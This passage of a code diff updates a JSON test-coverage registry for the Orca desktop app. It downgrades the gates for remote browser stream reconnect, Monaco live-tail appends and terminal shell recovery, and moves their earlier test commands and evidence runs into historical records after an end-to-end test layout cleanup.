an actionable Reconnect control, and manual reconnect creates a fresh stream without resurrecting stale subscriptions.", - "oracle": "Audit5758 companion to audit5754 intentionally retires the whole remote-browser-stream-restart-scheduler.test.ts suite. Direct fake-clock bounded exhaustion, rejected-attempt continuation, in-flight cancellation without re-arm and one replacement-chain alarms are lost without equivalent replacement. The unit command is narrowed and scheduler testFiles/assertionRefs entries removed. Separate lifecycle and paired-runtime selector assertions/evidence keep only their original scope and are not reassessed as replacements. No fresh execution, current import reachability or native/platform coverage is claimed. Complete prior account preserved verbatim as historical, including references to then-retained scheduler cases: The retained direct scheduler oracles require finite exhaustion, continuation after rejected attempts, cancellation of in-flight ownership without re-arming, and one queued replacement chain. Existing lifecycle assertions separately describe stale pane/operation/stream/page/runtime refusal, liveness, and manual recovery; they are not claimed equivalent to removed direct scheduler cases. The paired-runtime oracle paints a remote frame, disconnects its owning runtime, observes the bounded-retry notice and Reconnect control, reconnects, and requires a different frame object URL.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts", - "pnpm exec playwright test tests/e2e/paired-remote-browser-stream-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts", - "tests/e2e/paired-remote-browser-stream-reconnect.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts", - "assertions": [ - "dropped, silent, and flapping streams converge on a bounded retry or actionable stop", - "stale, superseded, missing-page, and permanent-failure work cannot mutate the current pane", - "manual reopen starts a fresh budget and adopts one current subscription", - "a late stale rejection cannot clear the replacement stream's ready deadline" - ] - }, - { - "file": "tests/e2e/paired-remote-browser-stream-reconnect.spec.ts", - "assertions": [ - "a real paired-runtime disconnect ends with an actionable Reconnect control", - "manual reconnect paints a new remote frame instead of retaining only the frozen frame", - "a pane whose first open fails can recover from no prior subscription" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-07", - "runner": "ci", - "platform": "linux", - "command": "pnpm exec playwright test tests/e2e/paired-remote-browser-stream-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 59.8, - "summary": "Both isolated headless paired-runtime scenarios passed: bounded recovery after a live-stream disconnect and manual recovery when the first stream never opened." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5758 companion to audit5754 intentionally retires the whole remote-browser-stream-restart-scheduler.test.ts suite. Direct fake-clock bounded exhaustion, rejected-attempt continuation, in-flight cancellation without re-arm and one replacement-chain alarms are lost without equivalent replacement. The unit command is narrowed and scheduler testFiles/assertionRefs entries removed. Separate lifecycle and paired-runtime selector assertions/evidence keep only their original scope and are not reassessed as replacements. No fresh execution, current import reachability or native/platform coverage is claimed. Complete prior account preserved verbatim as historical, including references to then-retained scheduler cases: The retained direct scheduler oracles require finite exhaustion, continuation after rejected attempts, cancellation of in-flight ownership without re-arming, and one queued replacement chain. Existing lifecycle assertions separately describe stale pane/operation/stream/page/runtime refusal, liveness, and manual recovery; they are not claimed equivalent to removed direct scheduler cases. The paired-runtime oracle paints a remote frame, disconnects its owning runtime, observes the bounded-retry notice and Reconnect control, reconnects, and requires a different frame object URL.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 120, - "scope": "focused fake-clock renderer contracts plus one isolated headless paired-runtime journey" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. focused fake-clock renderer contracts plus one isolated headless paired-runtime journey" }, "flakeHistory": { - "status": "unknown", - "evidence": "The deterministic suite and one changed-E2E CI run passed; soak history has not started." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: The deterministic suite and one changed-E2E CI run passed; soak history has not started." }, "redGreenEvidence": { - "status": "partial", - "evidence": "The direct one-versus-four transient-success mutation oracle was removed. Historical handoff and stale-lifecycle mutation descriptions are preserved below as provenance; no fresh mutation run validates the reduced scheduler suite or supplies equivalent replacement coverage." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: The direct one-versus-four transient-success mutation oracle was removed. Historical handoff and stale-lifecycle mutation descriptions are preserved below as provenance; no fresh mutation run validates the reduced scheduler suite or supplies equivalent replacement coverage." }, "performanceBudget": { "required": true, - "evidence": "Each pane retains at most one retry timer, one in-flight attempt, and one ready deadline. Automatic recovery makes at most five counted attempts with no global scan, subprocess, polling loop, or cross-pane fanout; exhaustion stops background work until explicit user reconnect." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Each pane retains at most one retry timer, one in-flight attempt, and one ready deadline. Automatic recovery makes at most five counted attempts with no global scan, subprocess, polling loop, or cross-pane fanout; exhaustion stops background work until explicit user reconnect." }, "promotionCriteria": [ "Run the same journey against a headed Orca desktop server and retain independent host/client state evidence.", @@ -5272,7 +4688,11 @@ "Historical red/green description retired from current completeness evidence, not re-executed by audit1833: {\"status\":\"complete\",\"evidence\":\"The byte-identical scheduler oracle fails with the reschedule disabled at one attempt instead of four and passes after restoration. On the PR head, the delayed handoff oracle counted two scheduled attempts instead of one, and the late stale-rejection oracle lost the replacement ready deadline and never offered reconnect; both pass after the ownership fixes. Current main structurally contains the original one-shot timer dead end. The focused suite passes 61 tests, and the isolated paired-runtime CI journey passes both disconnect and cold-open recovery scenarios.\"}", "Audit5758 exact original complete commands JSON value, preserved verbatim as historical selector metadata; removed/narrowed selector is not validated by old evidence:\n[\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-restart-scheduler.test.ts\",\n \"pnpm exec playwright test tests/e2e/paired-remote-browser-stream-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]", "Audit5758 exact original complete testFiles JSON value, preserved verbatim as historical selector metadata; removed/narrowed selector is not validated by old evidence:\n[\n \"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\",\n \"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-restart-scheduler.test.ts\",\n \"tests/e2e/paired-remote-browser-stream-reconnect.spec.ts\"\n ]", - "Audit5758 exact original complete assertionRefs JSON value, preserved verbatim as historical selector metadata; removed/narrowed selector is not validated by old evidence:\n[\n {\n \"file\": \"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-restart-scheduler.test.ts\",\n \"assertions\": [\n \"budget exhaustion stops exactly once\",\n \"cancellation retires an in-flight attempt without re-arming\",\n \"a close during an in-flight attempt queues one replacement chain\",\n \"rejected attempts continue until budget exhaustion\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\",\n \"assertions\": [\n \"dropped, silent, and flapping streams converge on a bounded retry or actionable stop\",\n \"stale, superseded, missing-page, and permanent-failure work cannot mutate the current pane\",\n \"manual reopen starts a fresh budget and adopts one current subscription\",\n \"a late stale rejection cannot clear the replacement stream's ready deadline\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-browser-stream-reconnect.spec.ts\",\n \"assertions\": [\n \"a real paired-runtime disconnect ends with an actionable Reconnect control\",\n \"manual reconnect paints a new remote frame instead of retaining only the frozen frame\",\n \"a pane whose first open fails can recover from no prior subscription\"\n ]\n }\n ]" + "Audit5758 exact original complete assertionRefs JSON value, preserved verbatim as historical selector metadata; removed/narrowed selector is not validated by old evidence:\n[\n {\n \"file\": \"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-restart-scheduler.test.ts\",\n \"assertions\": [\n \"budget exhaustion stops exactly once\",\n \"cancellation retires an in-flight attempt without re-arming\",\n \"a close during an in-flight attempt queues one replacement chain\",\n \"rejected attempts continue until budget exhaustion\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\",\n \"assertions\": [\n \"dropped, silent, and flapping streams converge on a bounded retry or actionable stop\",\n \"stale, superseded, missing-page, and permanent-failure work cannot mutate the current pane\",\n \"manual reopen starts a fresh budget and adopts one current subscription\",\n \"a late stale rejection cannot clear the replacement stream's ready deadline\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-browser-stream-reconnect.spec.ts\",\n \"assertions\": [\n \"a real paired-runtime disconnect ends with an actionable Reconnect control\",\n \"manual reconnect paints a new remote frame instead of retaining only the frozen frame\",\n \"a pane whose first open fails can recover from no prior subscription\"\n ]\n }\n ]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-07\",\n \"runner\": \"ci\",\n \"platform\": \"linux\",\n \"command\": \"pnpm exec playwright test tests/e2e/paired-remote-browser-stream-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 59.8,\n \"summary\": \"Both isolated headless paired-runtime scenarios passed: bounded recovery after a live-stream disconnect and manual recovery when the first stream never opened.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\",\n \"pnpm exec playwright test tests/e2e/paired-remote-browser-stream-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\",\n \"tests/e2e/paired-remote-browser-stream-reconnect.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\",\n \"assertions\": [\n \"dropped, silent, and flapping streams converge on a bounded retry or actionable stop\",\n \"stale, superseded, missing-page, and permanent-failure work cannot mutate the current pane\",\n \"manual reopen starts a fresh budget and adopts one current subscription\",\n \"a late stale rejection cannot clear the replacement stream's ready deadline\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-browser-stream-reconnect.spec.ts\",\n \"assertions\": [\n \"a real paired-runtime disconnect ends with an actionable Reconnect control\",\n \"manual reconnect paints a new remote frame instead of retaining only the frozen frame\",\n \"a pane whose first open fails can recover from no prior subscription\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\"],\"testFiles\":[\"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\"],\"assertionRefs\":[{\"file\":\"src/renderer/src/components/browser-pane/stream-remote/remote-browser-stream-lifecycle.test.ts\",\"assertions\":[\"dropped, silent, and flapping streams converge on a bounded retry or actionable stop\",\"stale, superseded, missing-page, and permanent-failure work cannot mutate the current pane\",\"manual reopen starts a fresh budget and adopts one current subscription\",\"a late stale rejection cannot clear the replacement stream's ready deadline\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\",\"linux\"],\"coveredProviders\":[\"remote-runtime\"],\"redGreenEvidence\":{\"status\":\"partial\",\"evidence\":\"The direct one-versus-four transient-success mutation oracle was removed. Historical handoff and stale-lifecycle mutation descriptions are preserved below as provenance; no fresh mutation run validates the reduced scheduler suite or supplies equivalent replacement coverage.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"The deterministic suite and one changed-E2E CI run passed; soak history has not started.\"},\"runtimeBudget\":{\"p95Seconds\":120,\"scope\":\"focused fake-clock renderer contracts plus one isolated headless paired-runtime journey\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Each pane retains at most one retry timer, one in-flight attempt, and one ready deadline. Automatic recovery makes at most five counted attempts with no global scan, subprocess, polling loop, or cross-pane fanout; exhaustion stops background work until explicit user reconnect.\"}}" ], "demotionRule": "Keep experimental or demote if retries can stop before recovery or exhaustion, continue after exhaustion, run in parallel, mutate a superseded pane, hide the Reconnect control, leak a subscription or timer, or fail to paint a new frame after manual reconnect." }, @@ -5291,19 +4711,17 @@ "platforms": ["macos", "linux", "windows"], "providers": ["local"], "coveredPlatforms": ["macos"], - "coveredProviders": ["local"], - "coverageNotes": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1677 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Focused tests and real-Monaco 9/50 MiB performance and undo-retention benchmarks are platform-independent. Local macOS Electron evidence opens a synthetic 9 MiB transcript through Agent Session History at fixed 900x720 viewport, 13px font, 1x zoom, and asserts the full 9 MiB model length loaded as a font-metric-independent containment check (word-wrap pixel geometry varies ~10% across runners, so a generous content-height floor is only a collapsed/truncated-render smoke check), then verifies three five-second-cadence watcher appends with Find open and closed. Live Windows/Linux evidence remains uncollected.", + "coveredProviders": [], + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1677 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Focused tests and real-Monaco 9/50 MiB performance and undo-retention benchmarks are platform-independent. Local macOS Electron evidence opens a synthetic 9 MiB transcript through Agent Session History at fixed 900x720 viewport, 13px font, 1x zoom, and asserts the full 9 MiB model length loaded as a font-metric-independent containment check (word-wrap pixel geometry varies ~10% across runners, so a generous content-height floor is only a collapsed/truncated-render smoke check), then verifies three five-second-cadence watcher appends with Find open and closed. Live Windows/Linux evidence remains uncollected.", "motivatingLinks": ["https://github.com/stablyai/orca/pull/8432"], "invariant": "Append-only external file growth changes only Monaco's model suffix, retaining the viewport, selection, Find state, and renderer liveness above the append point; read-only live tails do not create undo history, while editable external updates remain undoable and arbitrary rewrites continue to replace the model content.", - "oracle": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Focused tests assert one post-mount content owner and actual lifecycle remount ordering across retained path models. Real-Monaco tests cover undo behavior for read-only live tails versus editable files. Standalone Node timing and private undo-retention budgets at 9 and 50 MiB were retired by audit1677 and provide no current alarm. The Electron scenario compares legacy setValue with watcher appends, checking visible ranges, selection, Find state, scroll offset, non-undoability, renderer survival and memory budgets. Mock-only edit-shape assertions were retired during test-value audit.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1709 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Focused tests assert one post-mount content owner and actual lifecycle remount ordering across retained path models. Real-Monaco tests cover undo behavior for read-only live tails versus editable files. Standalone Node timing and private undo-retention budgets at 9 and 50 MiB were retired by audit1677 and provide no current alarm. The Electron scenario compares legacy setValue with watcher appends, checking visible ranges, selection, Find state, scroll offset, non-undoability, renderer survival and memory budgets. Mock-only edit-shape assertions were retired during test-value audit.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts", - "node --expose-gc ./node_modules/vitest/vitest.mjs bench --pool=threads", - "pnpm run test:e2e -- tests/e2e/agent-session-log-tail-stability.spec.ts --workers=1" + "node --expose-gc ./node_modules/vitest/vitest.mjs bench --pool=threads" ], "testFiles": [ - "src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts", - "tests/e2e/agent-session-log-tail-stability.spec.ts" + "src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts" ], "assertionRefs": [ { @@ -5311,16 +4729,6 @@ "assertions": [ "a real Monaco read-only live-tail append leaves canUndo false while an ordinary external update remains undoable" ] - }, - { - "file": "tests/e2e/agent-session-log-tail-stability.spec.ts", - "assertions": [ - "production Agent Session History opens a synthetic 9 MiB View Log and confirms the full model length loaded as font-metric-independent containment, with a generous content-height floor as a collapsed/truncated-render smoke check", - "an executable e2e-only legacy setValue control disrupts selection/Find/anchor state at each fixed-geometry five-second sample, then restores the equivalent model state before the fixed arm", - "three alternating watcher suffix appends preserve visible ranges, selection, scroll offset, Find open/query/active-match state, and exact suffix content", - "the production read-only live-tail model remains non-undoable before and after every watcher append", - "the renderer remains responsive with no render-process-gone event and forced-GC JS-heap/working-set/private-memory peak and retained budgets hold against paired legacy controls" - ] } ], "evidenceRuns": [ @@ -5337,19 +4745,19 @@ ], "runtimeBudget": { "p95Seconds": 600, - "scope": "local focused renderer tests plus one Electron production-journey scenario" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. local focused renderer tests plus one Electron production-journey scenario" }, "flakeHistory": { - "status": "unknown", - "evidence": "New deterministic gate with local macOS passes; CI soak history is not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: New deterministic gate with local macOS passes; CI soak history is not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Historical red/green record predating audit1677, which retires standalone Node benchmark alarms: A fail-first real-Monaco test observed canUndo=true after one read-only live-tail append, and the forced-GC 50 MiB control retained 104,858,630 bytes in Monaco's undo service. After the fix the read-only arm retained zero undo-service bytes while the editable control stayed undoable. The retained Electron gate also proves each fixed watcher arm preserves viewport, selection, Find state, and non-undoability. Production builds never install its legacy setValue control." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Historical red/green record predating audit1677, which retires standalone Node benchmark alarms: A fail-first real-Monaco test observed canUndo=true after one read-only live-tail append, and the forced-GC 50 MiB control retained 104,858,630 bytes in Monaco's undo service. After the fix the read-only arm retained zero undo-service bytes while the editable control stayed undoable. The retained Electron gate also proves each fixed watcher arm preserves viewport, selection, Find state, and non-undoability. Production builds never install its legacy setValue control." }, "performanceBudget": { "required": true, - "evidence": "Historical measurements recorded before audit1677; standalone Node timing and private undo/ArrayBuffer budget alarms are now retired. No replacement budget is claimed. Every update retrieves the model value once and performs at most one equality-or-prefix comparison; a matching append submits only the suffix. The registered Node commands require --expose-gc and --pool=threads so worker GC is available. Current p95: 9 MiB append 5.93-7.12ms versus replacement 114.09-145.89ms; 50 MiB append 26.84-34.91ms versus replacement 602.36-699.21ms. The new 50 MiB retention arm measured 104,858,630 undo-service bytes and 104,857,790 ArrayBuffer bytes for the undoable control versus zero for read-only live-tail sync. Electron forced-GC JS-heap, renderer working-set, and OS-private-memory budgets also pass." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical measurements recorded before audit1677; standalone Node timing and private undo/ArrayBuffer budget alarms are now retired. No replacement budget is claimed. Every update retrieves the model value once and performs at most one equality-or-prefix comparison; a matching append submits only the suffix. The registered Node commands require --expose-gc and --pool=threads so worker GC is available. Current p95: 9 MiB append 5.93-7.12ms versus replacement 114.09-145.89ms; 50 MiB append 26.84-34.91ms versus replacement 602.36-699.21ms. The new 50 MiB retention arm measured 104,858,630 undo-service bytes and 104,857,790 ArrayBuffer bytes for the undoable control versus zero for read-only live-tail sync. Electron forced-GC JS-heap, renderer working-set, and OS-private-memory budgets also pass." }, "promotionCriteria": [ "Collect stable soak history on macOS, Linux, and Windows.", @@ -5364,7 +4772,10 @@ "No live Windows or Linux View Log evidence yet.", "Historical retired benchmark receipt (not active evidence): {\"date\":\"2026-07-12\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"node --expose-gc ./node_modules/vitest/vitest.mjs bench src/renderer/src/components/editor/monaco-content-sync.bench.ts --pool=threads\",\"result\":\"passed\",\"durationSeconds\":75,\"summary\":\"Forced-GC, settled, alternating fresh-model Monaco p95: 9 MiB append 4.02-5.51ms versus replacement 81.42-83.76ms; 50 MiB append 22.72-26.60ms versus replacement 445.11-449.21ms.\"}", "Historical retired benchmark receipt (not active evidence): {\"date\":\"2026-07-13\",\"runner\":\"local\",\"platform\":\"macos\",\"command\":\"node --expose-gc ./node_modules/vitest/vitest.mjs bench src/renderer/src/components/editor/monaco-content-sync.undo-retention.bench.ts --pool=threads\",\"result\":\"passed\",\"durationSeconds\":5,\"summary\":\"The undoable 50 MiB control retained 104,858,630 undo-service bytes and 104,857,790 ArrayBuffer bytes; the read-only live-tail arm retained zero of both and remained non-undoable.\"}", - "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/components/editor/EditorContent.monaco-lifecycle.test.tsx. Lost alarms: unmounts the prior path before reconciling a stale retained target model; keeps the diff editor mounted when a save updates the modified content; still remounts the diff editor for an explicit reload request. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope." + "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/components/editor/EditorContent.monaco-lifecycle.test.tsx. Lost alarms: unmounts the prior path before reconciling a stale retained target model; keeps the diff editor mounted when a save updates the modified content; still remounts the diff editor for an explicit reload request. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope.", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts\",\n \"node --expose-gc ./node_modules/vitest/vitest.mjs bench --pool=threads\",\n \"pnpm run test:e2e -- tests/e2e/agent-session-log-tail-stability.spec.ts --workers=1\"\n ]\ntestFiles: [\n \"src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts\",\n \"tests/e2e/agent-session-log-tail-stability.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts\",\n \"assertions\": [\n \"a real Monaco read-only live-tail append leaves canUndo false while an ordinary external update remains undoable\"\n ]\n },\n {\n \"file\": \"tests/e2e/agent-session-log-tail-stability.spec.ts\",\n \"assertions\": [\n \"production Agent Session History opens a synthetic 9 MiB View Log and confirms the full model length loaded as font-metric-independent containment, with a generous content-height floor as a collapsed/truncated-render smoke check\",\n \"an executable e2e-only legacy setValue control disrupts selection/Find/anchor state at each fixed-geometry five-second sample, then restores the equivalent model state before the fixed arm\",\n \"three alternating watcher suffix appends preserve visible ranges, selection, scroll offset, Find open/query/active-match state, and exact suffix content\",\n \"the production read-only live-tail model remains non-undoable before and after every watcher append\",\n \"the renderer remains responsive with no render-process-gone event and forced-GC JS-heap/working-set/private-memory peak and retained budgets hold against paired legacy controls\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts\",\"node --expose-gc ./node_modules/vitest/vitest.mjs bench --pool=threads\"],\"testFiles\":[\"src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts\"],\"assertionRefs\":[{\"file\":\"src/renderer/src/components/editor/model-lifetime/buffer-text/monaco-content-sync.undo-history.test.ts\",\"assertions\":[\"a real Monaco read-only live-tail append leaves canUndo false while an ordinary external update remains undoable\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Historical red/green record predating audit1677, which retires standalone Node benchmark alarms: A fail-first real-Monaco test observed canUndo=true after one read-only live-tail append, and the forced-GC 50 MiB control retained 104,858,630 bytes in Monaco's undo service. After the fix the read-only arm retained zero undo-service bytes while the editable control stayed undoable. The retained Electron gate also proves each fixed watcher arm preserves viewport, selection, Find state, and non-undoability. Production builds never install its legacy setValue control.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"New deterministic gate with local macOS passes; CI soak history is not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":600,\"scope\":\"local focused renderer tests plus one Electron production-journey scenario\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical measurements recorded before audit1677; standalone Node timing and private undo/ArrayBuffer budget alarms are now retired. No replacement budget is claimed. Every update retrieves the model value once and performs at most one equality-or-prefix comparison; a matching append submits only the suffix. The registered Node commands require --expose-gc and --pool=threads so worker GC is available. Current p95: 9 MiB append 5.93-7.12ms versus replacement 114.09-145.89ms; 50 MiB append 26.84-34.91ms versus replacement 602.36-699.21ms. The new 50 MiB retention arm measured 104,858,630 undo-service bytes and 104,857,790 ArrayBuffer bytes for the undoable control versus zero for read-only live-tail sync. Electron forced-GC JS-heap, renderer working-set, and OS-private-memory budgets also pass.\"}}" ], "demotionRule": "Quarantine the Electron scenario if it flakes without a product or harness bug; demote if viewport/Find drift, renderer loss, or Electron memory retention exceeds the registered budgets." }, @@ -5427,7 +4838,7 @@ "id": "terminal-session.shell-owned-mode-recovery", "title": "Dead TUI mode recovery requires execution-host shell ownership", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-runtime", "layer": "host-renderer-electron", "surfaces": [ @@ -5440,81 +4851,31 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "remote-runtime", "wsl"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local", "daemon", "remote-runtime"], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5708 retires the whole controlled-proof terminal-shell-recovery-barrier suite, accepting reset/release ordering, late/dead/refuted proof, throwing sink, nested episode and deadline alarms. Active command/testFiles selectors are reduced; no equivalent replacement or fresh execution is claimed. Historical dated scopes remain unchanged. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, 